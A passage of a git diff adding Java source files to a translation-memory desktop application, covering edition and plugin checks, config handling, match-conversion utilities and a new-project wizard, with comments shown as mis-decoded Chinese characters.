System.getProperties().put("TSEdition", "L"); + System.getProperties().put("TSVersionDate", strLVersion); + } else { + System.getProperties().put("TSEdition", ""); + System.getProperties().put("TSVersionDate", ""); + } + } else { + System.getProperties().put("TSEdition", ""); + } + + location = new URL(configArea.getURL().toExternalForm() + "plugins"); + String pluginsFolderName = location.getFile(); + File pluginsFolder = new File(pluginsFolderName); + // é历 plugins 目录 + if (pluginsFolder.isDirectory()) { + List lstPluginName = new ArrayList(); + for (File f : pluginsFolder.listFiles()) { + String name = f.getName(); + if (name.endsWith(".jar") + && (name.startsWith("net.heartsome.cat.ts.ui.plugin_") + || name.startsWith("net.heartsome.cat.ts.ui.advanced_") + || name.startsWith("net.heartsome.cat.ts.fuzzyTranslation_") + || name.startsWith("net.heartsome.cat.converter.ui_") + || name.startsWith("net.heartsome.cat.ts.ui.rtf_") + || name.startsWith("net.heartsome.cat.ts.ui.qa_") + || name.startsWith("net.heartsome.cat.database.ui_") + || name.startsWith("net.heartsome.cat.database.hsql_") + || name.startsWith("net.heartsome.cat.database.oracle_") + || name.startsWith("net.heartsome.cat.ts.importproject_") + || name.startsWith("net.heartsome.cat.ts.exportproject_") + || name.startsWith("net.heartsome.cat.ts.handlexlf_") + || name.startsWith("net.heartsome.cat.ts.lockrepeat_") || name + .startsWith("net.heartsome.cat.ts.jumpsegment_"))) { + String pluginName = name.substring(0, name.indexOf("_")); + // æ›´æ–°åŽåŽŸæ¥çš„æ’件会ä¿ç•™åœ¨ plugins 目录下,应此 lstPluginName 会有é‡å¤æ·»åŠ  pluginName 的情况,所以在此处添加判断。 + if (!lstPluginName.contains(pluginName)) { + lstPluginName.add(pluginName); + } + } + } + String edition = System.getProperty("TSEdition"); + if (lstPluginName.size() == 14 && lstPluginName.indexOf("net.heartsome.cat.ts.ui.plugin") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.ui.advanced") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.fuzzyTranslation") != -1 + && lstPluginName.indexOf("net.heartsome.cat.converter.ui") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.ui.rtf") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.ui.qa") != -1 + && lstPluginName.indexOf("net.heartsome.cat.database.ui") != -1 + && lstPluginName.indexOf("net.heartsome.cat.database.hsql") != -1 + && lstPluginName.indexOf("net.heartsome.cat.database.oracle") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.importproject") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.exportproject") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.handlexlf") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.lockrepeat") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.jumpsegment") != -1) { + if (!(edition != null && (edition.equals("U") || edition.equals("F")))) { + System.getProperties().put("TSEdition", ""); + } + } else if (lstPluginName.size() == 6 && lstPluginName.indexOf("net.heartsome.cat.converter.ui") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.ui.qa") != -1 + && lstPluginName.indexOf("net.heartsome.cat.database.ui") != -1 + && lstPluginName.indexOf("net.heartsome.cat.database.hsql") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.importproject") != -1 + && lstPluginName.indexOf("net.heartsome.cat.ts.jumpsegment") != -1) { + if (!(edition != null && edition.equals("P"))) { + System.getProperties().put("TSEdition", ""); + } + } else if (lstPluginName.size() == 0) { + if (!(edition != null && edition.equals("L"))) { + System.getProperties().put("TSEdition", ""); + } + } else { + System.getProperties().put("TSEdition", ""); + } + } else { + System.getProperties().put("TSEdition", ""); + } + + // if (System.getProperty("TSEdition").equals("")) { + // return; + // } + // String product = Platform.getProduct().getName(); + // if (Util.isMac()) { + // location = new URL(configArea.getURL().toExternalForm() + product + ".app" + File.separator + // + "Contents" + File.separator + "MacOS" + File.separator + product + ".ini"); + // } else { + // location = new URL(configArea.getURL().toExternalForm() + product + ".ini"); + // } + // String fileName = location.getFile(); + // BufferedReader in = new BufferedReader(new FileReader(fileName)); + // String line = null; + // String tsVersion = null; + // String tsSerial = null; + // while ((line = in.readLine()) != null) { + // if (line.startsWith("TSProductVersion")) { + // tsVersion = line.substring(line.indexOf("=") + 1); + // } + // if (line.startsWith("TSProductSerialNumber")) { + // tsSerial = line.substring(line.indexOf("=") + 1); + // } + // } + // if (tsVersion != null && tsSerial != null && tsVersion.length() == 16 && tsSerial.length() == 16) { + // String edition = System.getProperty("TSEdition"); + // int[] arrValue = new int[16]; + // for (int i = 0; i < tsVersion.length(); i++) { + // arrValue[i] = Integer.parseInt(Character.toString(tsVersion.charAt(i))); + // } + // int[] arrSerialNum = new int[16]; + // for (int i = 0; i < tsSerial.length(); i++) { + // arrSerialNum[i] = Integer.parseInt(Character.toString(tsSerial.charAt(i))); + // } + // String strFullChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + // boolean isU = ((arrValue[1] + arrValue[8]) * (arrValue[7] - arrValue[14])) == (strFullChar.indexOf("U") + + // 1);// 验è¯æ——舰版的规则 + // boolean isF = arrValue[4] != 0 + // && (arrValue[2] - arrValue[9] + arrValue[15]) / arrValue[4] == (strFullChar.indexOf("F") + 1); + // boolean isP = arrValue[5] * (arrValue[3] + arrValue[10] + arrValue[12]) == (strFullChar.indexOf("P") + + // 1); + // boolean isL = (arrValue[0] + arrValue[6] + arrValue[11] + arrValue[13]) == (strFullChar.indexOf("L") + + // 1); + // + // boolean isUVersion = arrSerialNum[12] + arrSerialNum[13] == 8 && arrSerialNum[2] + arrSerialNum[3] == + // 9;// 验è¯æ——舰版是å¦æ»¡è¶³ + // boolean isFVersion = arrSerialNum[6] * arrSerialNum[15] == 8 && arrSerialNum[2] * arrSerialNum[5] == 9;// + // 验è¯ä¸“业版是å¦æ»¡è¶³ + // boolean isPVersion = arrSerialNum[3] * arrSerialNum[4] == 8 && arrSerialNum[0] * arrSerialNum[13] == 9;// + // 验è¯ä¸ªäººç‰ˆæ˜¯å¦æ»¡è¶³ + // boolean isLVersion = arrSerialNum[0] * arrSerialNum[3] == 8 && arrSerialNum[1] == 9;// 验è¯ç²¾ç®€ç‰ˆæ˜¯å¦æ»¡è¶³ + // if (edition.equals("U")) { + // // éªŒè¯ TSEdition + // if (!isU) { + // System.getProperties().put("TSEdition", ""); + // } else { + // if (isF) { + // System.getProperties().put("TSEdition", ""); + // } else if (isP) { + // System.getProperties().put("TSEdition", ""); + // } else if (isL) { + // System.getProperties().put("TSEdition", ""); + // } + // } + // // 验è¯åºåˆ—å· + // if (isUVersion) { + // if (!(isFVersion) && !(isPVersion) && !(isLVersion)) { + // System.getProperties().put("TSVersion", "89"); + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } else if (edition.equals("F")) { + // if (!isF) { + // System.getProperties().put("TSEdition", ""); + // } else { + // if (isU) { + // System.getProperties().put("TSEdition", ""); + // } else if (isP) { + // System.getProperties().put("TSEdition", ""); + // } else if (isL) { + // System.getProperties().put("TSEdition", ""); + // } + // } + // if (isFVersion) { + // if (!(isUVersion) && !(isPVersion) && !(isLVersion)) { + // System.getProperties().put("TSVersion", "89"); + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } else if (edition.equals("P")) { + // if (!isP) { + // System.getProperties().put("TSEdition", ""); + // } else { + // if (isU) { + // System.getProperties().put("TSEdition", ""); + // } else if (isF) { + // System.getProperties().put("TSEdition", ""); + // } else if (isL) { + // System.getProperties().put("TSEdition", ""); + // } + // } + // if (isPVersion) { + // if (!(isUVersion) && !(isFVersion) && !(isLVersion)) { + // System.getProperties().put("TSVersion", "89"); + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } else if (edition.equals("L")) { + // if (!isL) { + // System.getProperties().put("TSEdition", ""); + // } else { + // if (isU) { + // System.getProperties().put("TSEdition", ""); + // } else if (isF) { + // System.getProperties().put("TSEdition", ""); + // } else if (isP) { + // System.getProperties().put("TSEdition", ""); + // } + // } + // if (isLVersion) { + // if (!(isUVersion) && !(isFVersion) && !(isPVersion)) { + // System.getProperties().put("TSVersion", "89"); + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } else { + // System.getProperties().put("TSVersion", ""); + // } + // } + // } else { + // System.getProperties().put("TSEdition", ""); + // System.getProperties().put("TSVersion", ""); + // } + } catch (MalformedURLException e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("preference.PreferenceUtil.logger1"), e); + } catch (XPathEvalException e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("preference.PreferenceUtil.logger1"), e); + } catch (NavException e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("preference.PreferenceUtil.logger1"), e); + } catch (XPathParseException e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("preference.PreferenceUtil.logger1"), e); + } + } + + /** + * 检查 osgi.clean 的值,如果为 true,就改为 false + * @param locale + * ; + */ + public static void checkCleanValue() { + Location configArea = Platform.getInstallLocation(); + if (configArea == null) { + return; + } + + URL location = null; + try { + location = new URL(configArea.getURL().toExternalForm() + "configuration" + File.separator + "config.ini"); + } catch (MalformedURLException e) { + // This should never happen + } + + try { + String fileName = location.getFile(); + File file = new File(fileName); + fileName += ".bak"; + file.renameTo(new File(fileName)); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + BufferedWriter out = null; + boolean isFind = false; + try { + String line = in.readLine(); + StringBuffer sbOut = new StringBuffer(); + while (line != null) { + if (line.trim().equals("osgi.clean=true")) { + sbOut.append("osgi.clean=false"); + isFind = true; + } else { + sbOut.append(line); + } + sbOut.append("\n"); + line = in.readLine(); + } + if (isFind) { + out = new BufferedWriter(new FileWriter(location.getFile())); + out.write(sbOut.toString()); + out.flush(); + } + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + if (out != null) { + try { + out.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + File tmpFile = new File(location.getFile() + ".bak"); + if (isFind) { + if (tmpFile.exists()) { + tmpFile.delete(); + } + } else { + tmpFile.renameTo(new File(location.getFile())); + } + } + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + + } + + public static boolean checkEdition() { + String temp = System.getProperty("TSEdition"); + if (!"U".equals(temp) && !"F".equals(temp) && !"P".equals(temp) && !"L".equals(temp)) { + return false; + } else { + return true; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/TmUtils.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/TmUtils.java new file mode 100644 index 0000000..0789253 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/TmUtils.java @@ -0,0 +1,334 @@ +/** + * TmUtils.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.util; + +import java.util.Hashtable; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.bean.ColorConfigBean; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.ts.core.bean.AltTransBean; +import net.heartsome.cat.ts.core.bean.PropBean; +import net.heartsome.cat.ts.core.bean.PropGroupBean; + +import org.eclipse.swt.graphics.Color; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TmUtils { + + public static Color getMatchTypeColor(String type, String quality) { + ColorConfigBean colorConfigBean = ColorConfigBean.getInstance(); + if (type.equals("PT")) { + return colorConfigBean.getPtColor(); + } else if (type.equals("TM")) { + if (quality.endsWith("%")) { + quality = quality.substring(0, quality.lastIndexOf("%")); + } + Integer q = Integer.parseInt(quality); + if (q == 101) { + return colorConfigBean.getTm101Color(); + } else if (q == 100) { + return colorConfigBean.getTm100Color(); + } else if (q > 89 && q < 100) { + return colorConfigBean.getTm90Color(); + } else if (q > 79 && q < 90) { + return colorConfigBean.getTm80Color(); + } else if (q > 69 && q < 80) { + return colorConfigBean.getTm70Color(); + } else { + return colorConfigBean.getTm0Color(); + } + } else if (type.equals("QT")) { + return colorConfigBean.getQtColor(); + } else if (type.equals("MT")) { + return colorConfigBean.getMtColor(); + } + return null; + } + + public static Vector fuzzyResult2Alttransbean(List fuzzyResults){ + Vector altTrans = new Vector(); + for (FuzzySearchResult result : fuzzyResults) { + AltTransBean atb = new AltTransBean(); + +// Map match = tu.getTuInfo(); + TmxTU tu = result.getTu(); + + // 获å–æºèŠ‚点内容ã€å±žæ€§åŠçº¯æ–‡æœ¬ + atb.setSrcText(tu.getSource().getPureText()); + atb.setTgtText(tu.getTarget().getPureText()); + + Hashtable matchProps = new Hashtable(); + matchProps.put("match-quality", result.getSimilarity()+""); + matchProps.put("origin", result.getDbName()); + matchProps.put("tool-id", "Translation Memory"); + matchProps.put("hs:matchType", "TM"); + matchProps.put("xml:space", "default"); + atb.setMatchProps(matchProps); + + Hashtable srcProps = new Hashtable(); + srcProps.put("xml:lang", tu.getSource().getLangCode()); + atb.setSrcProps(srcProps); + atb.setSrcContent(tu.getSource().getFullText()); + + Hashtable tgtProps = new Hashtable(); + tgtProps.put("xml:lang", tu.getTarget().getLangCode()); + atb.setTgtProps(tgtProps); + atb.setTgtContent(tu.getTarget().getFullText()); + + + Vector pgs = new Vector(); + Vector props = new Vector(); + PropBean pb = new PropBean("creationId", tu.getCreationUser()); + props.add(pb); + pb = new PropBean("creationDate", tu.getCreationDate()); + props.add(pb); + pb = new PropBean("changeId", tu.getChangeUser()); + props.add(pb); + pb = new PropBean("changeDate", tu.getChangeDate()); + props.add(pb); + + List attrValList = tu.getProps(); + for (TmxProp attr : attrValList) { + String name = attr.getName(); + if(name == null || name.equals("")){ + continue; + } + String value = attr.getValue(); + if (value == null || value.equals("")) { + continue; + } + PropBean prop = new PropBean(name, value); + props.add(prop); + } + + PropGroupBean pg = new PropGroupBean(props); + // 获å–属性组å称。 + pg.setName("hs:prop-group"); + pgs.add(pg); + atb.setPropGroups(pgs); + atb.setFuzzyResult(result); + altTrans.add(atb); + } + return altTrans; + } + /** + * 将从库中获å–的匹é…转æˆä»¥ AltTransBean å°è£…的匹é…æ•°æ®,在转æ¢çš„è¿‡ç¨‹ä¸Žå½“å‰ AltTransé‡å¤çš„记录将被忽略 + * @param dbMatches + * 从数æ®åº“中获å–çš„åŒ¹é… + * @param currentAltTrans + * 当å‰å·²ç»å­˜åŽŸaltTrans + * @return 和当å‰åŒ¹é…ä¸é‡å¤çš„AltTrans集; + */ + public static Vector altTransInfoConverter(List dbMatches, + Vector currentAltTrans) { + Vector altTrans = new Vector(); + Vector existAltTrans = new Vector(); + for (FuzzySearchResult result : dbMatches) { + AltTransBean atb = new AltTransBean(); + +// Map match = tu.getTuInfo(); + TmxTU tu = result.getTu(); + // 获å–æºèŠ‚点内容ã€å±žæ€§åŠçº¯æ–‡æœ¬ + atb.setSrcText(tu.getSource().getPureText()); + atb.setTgtText(tu.getTarget().getPureText()); + + if (isMatchExist(currentAltTrans, atb, result.getDbName(), existAltTrans)) { + continue; + } + + Hashtable matchProps = new Hashtable(); + matchProps.put("match-quality", result.getSimilarity()+""); + matchProps.put("origin", result.getDbName()); + matchProps.put("tool-id", "Translation Memory"); + matchProps.put("hs:matchType", "TM"); + matchProps.put("xml:space", "default"); + atb.setMatchProps(matchProps); + + Hashtable srcProps = new Hashtable(); + srcProps.put("xml:lang", tu.getSource().getLangCode()); + atb.setSrcProps(srcProps); + atb.setSrcContent(tu.getSource().getFullText()); + + Hashtable tgtProps = new Hashtable(); + tgtProps.put("xml:lang", tu.getTarget().getLangCode()); + atb.setTgtProps(tgtProps); + atb.setTgtContent(tu.getTarget().getFullText()); + + + Vector pgs = new Vector(); + Vector props = new Vector(); + + PropBean pb = new PropBean("creationId", tu.getCreationUser()); + props.add(pb); + pb = new PropBean("creationDate", tu.getCreationDate()); + props.add(pb); + pb = new PropBean("changeId", tu.getChangeUser()); + props.add(pb); + pb = new PropBean("changeDate", tu.getChangeDate()); + props.add(pb); + + List attrValList = tu.getProps(); + for (TmxProp attr : attrValList) { + String name = attr.getName(); + if(name == null || name.equals("")){ + continue; + } + String value = attr.getValue(); + if (value == null || value.equals("")) { + continue; + } + PropBean prop = new PropBean(name, value); + props.add(prop); + } + + PropGroupBean pg = new PropGroupBean(props); + // 获å–属性组å称。 + pg.setName("hs:prop-group"); + pgs.add(pg); + atb.setPropGroups(pgs); + + altTrans.add(atb); + } + if(altTrans.size() > 0){ + altTrans.addAll(existAltTrans); + } else { + currentAltTrans.addAll(existAltTrans); + } + return altTrans; + } + + /** + * 判断当的匹é…中是å¦å·²ç»å­˜åœ¨äº† + * @param altTransVector + * 匹é…集,å·²ç»å­˜åœ¨çš„ + * @param currAltTrans + * 当å‰åŒ¹é… + * @return ; + */ + public static boolean isMatchExist(Vector altTransVector, AltTransBean currAltTrans, String currDbName + ,Vector dubliAlttrans) { + String src = currAltTrans.getSrcText(); + String tgt = currAltTrans.getTgtText(); + if (src == null || src.equals("") || tgt == null || tgt.equals("")) { + return true; // 忽略æºæ–‡ä¸ºç©ºï¼Œè¯‘æ–‡ä¸ºç©ºçš„åŒ¹é… + } + for (int i = 0; i < altTransVector.size(); i++) { + AltTransBean existAltTrans = altTransVector.get(i); + String existSrc = existAltTrans.getSrcText(); + String existTgt = existAltTrans.getTgtText(); + if (existSrc == null || existTgt == null) { + continue; // 当å‰åŒ¹é…æºæ–‡ã€è¯‘文为空将忽略é…ç½® + } + if (existSrc.trim().equals(src.trim()) && existTgt.trim().equals(tgt.trim())) { + dubliAlttrans.add(existAltTrans); + altTransVector.remove(i); + return true; + } + String existDbName = existAltTrans.getMatchProps().get("origin"); + if (existSrc.trim().equals(src.trim()) && !existTgt.trim().equals(tgt.trim()) && existDbName.equals(currDbName)){ + altTransVector.remove(i); + i--; + } + } + return false; + } + + /** + * 检查Vector中的数æ®æ˜¯å¦è¶…过最大个数,如果超过将å–0-sizeèŒƒå›´å†…çš„æ•°æ® + * @param tmpVector + * ; + */ + public static void checkVecotrMaxSize(Vector tmpVector, int maxSize) { + int size = tmpVector.size(); + while (size > maxSize) { + size--; + tmpVector.remove(size); + } + } + + /** + * 检查所有的匹é…是å¦ç¬¦åˆæœ€ä½ŽåŒ¹é…率 + * @param newAltTrans + * @param minQuality ; + */ + public static Vector checkMatchQuality(Vector newAltTrans, int minQuality){ + Vector result = new Vector(); + for(AltTransBean bean : newAltTrans){ + String qualityStr = bean.getMatchProps().get("match-quality").trim(); + if(qualityStr == null){ + continue; + } + if (qualityStr.endsWith("%")) { + qualityStr = qualityStr.substring(0, qualityStr.lastIndexOf("%")); + } + Integer q = Integer.parseInt(qualityStr); + if(q >= minQuality){ + result.add(bean); + } + } + return result; + } + + /** + * å°†str1的首尾空格 添加到str2上,完æˆå¤„ç†åŽstr2的首尾空格和str1一样。 + * @param str1 + * @param str2 + * @return 调整首尾空格åŽçš„字符串; + */ + public static String adjustSpace(String str1, String str2) { + if(str2 == null || str2.equals("")){ + return str2; + } + if(str1 == null || str1.equals("")){ + return str2; + } + int len = str1.length(); + int st = 0; + int last = 0; + while (st < len) { + if (str1.charAt(st) <= ' ') { + st++; + } else { + break; + } + } + while ((st < len)) { + if ((str1.charAt(len - 1) <= ' ')) { + len--; + last++; + } else { + break; + } + } + str2 = str2.trim(); + StringBuffer bf = new StringBuffer(); + while(st > 0){ + bf.append(" "); + st--; + } + bf.append(str2); + while(last > 0){ + bf.append(" "); + last--; + } + return bf.toString(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/view/IMatchViewPart.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/view/IMatchViewPart.java new file mode 100644 index 0000000..ba4ce5b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/view/IMatchViewPart.java @@ -0,0 +1,56 @@ +/** + * IMatchViewPart.java + * + * Version information : + * + * Date:2012-9-21 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.view; + +import net.heartsome.cat.ts.tm.complexMatch.IComplexMatch; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public interface IMatchViewPart { + + /** + * 刷新Table + * ; + */ + void refreshTable(); + + /** + * é‡æ–°åŠ è½½æ‰€æœ‰åŒ¹é… + * @param editor 当å‰æ­£åœ¨ç¼–辑的编辑器 + * @param rowIndex 当å‰é€‰ä¸­çš„文本段索引; + */ + void reLoadMatches(IXliffEditor editor, int rowIndex); + + /** + * 接å—匹é…é¢æ¿ä¸­çš„第 index ä¸ªåŒ¹é… + * @param index 匹é…é¢æ¿ä¸­çš„åºå·ï¼Œä»Ž0开始 + */ + void acceptMatchByIndex(int index); + + /** + * 执行å¤æ‚匹é…(目å‰åªå®žçŽ°äº†å¿«é€Ÿç¿»è¯‘) + * @param complexMatcher ; + */ + void manualExecComplexTranslation(IComplexMatch complexMatcher); + + /** + * 执行简å•åŒ¹é…(目å‰åªå®žçŽ°äº†google,bing) + * @param simpleMatcher ; + */ + void manualExecSimpleTranslation(ISimpleMatcher simpleMatcher); +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/view/ITermViewPart.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/view/ITermViewPart.java new file mode 100644 index 0000000..8a024e1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/view/ITermViewPart.java @@ -0,0 +1,23 @@ +/** + * ITermViewPart.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.view; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public interface ITermViewPart { + + void acceptTermByIndex(int index); +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizard.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizard.java new file mode 100644 index 0000000..b66aaba --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizard.java @@ -0,0 +1,439 @@ +/** + * NewProjectWizard.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.wizards; + +import java.io.File; +import java.io.FileInputStream; +import java.io.InputStream; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.ProjectInfoBean; +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.help.SystemResourceUtil; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage; +import net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.propertyTester.RTFEnabledPropertyTester; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.INewWizard; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.services.IEvaluationService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewProjectWizard extends Wizard implements INewWizard { + + public final static Logger logger = LoggerFactory.getLogger(NewProjectWizard.class); + + public final String PAGE_EXTENSION_ID = "net.heartsome.cat.ts.ui.extensionpoint.newproject"; + private NewProjectWizardProjInfoPage firstPage; + private NewProjectWizardLanguagePage secondPage; + private NewProjectWizardSourceFilePage srcFilesPage; + + private List extensionPages; + + private IConverterCaller convertImpl; + private List sourcefiles = new ArrayList(); + + /** + * + */ + public NewProjectWizard() { + SystemResourceUtil.load(); + setWindowTitle(Messages.getString("wizard.NewProjectWizard.title")); + setNeedsProgressMonitor(true); + extensionPages = new ArrayList(); + runWizardPageExtension(); + } + + /** + * 加载扩展å‘导页 ; + */ + private void runWizardPageExtension() { + // 加载å‘导扩展 + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor(PAGE_EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof AbstractNewProjectWizardPage) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("wizard.NewProjectWizard.logger1"), exception); + } + + public void run() throws Exception { + extensionPages.add((AbstractNewProjectWizardPage) o); + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("wizard.NewProjectWizard.logger1"), ex); + } + + // 加载转æ¢å™¨æ‰©å±• + IConfigurationElement[] config2 = Platform.getExtensionRegistry().getConfigurationElementsFor( + "net.heartsome.cat.ts.ui.extension.converter"); + try { + for (IConfigurationElement e : config2) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof 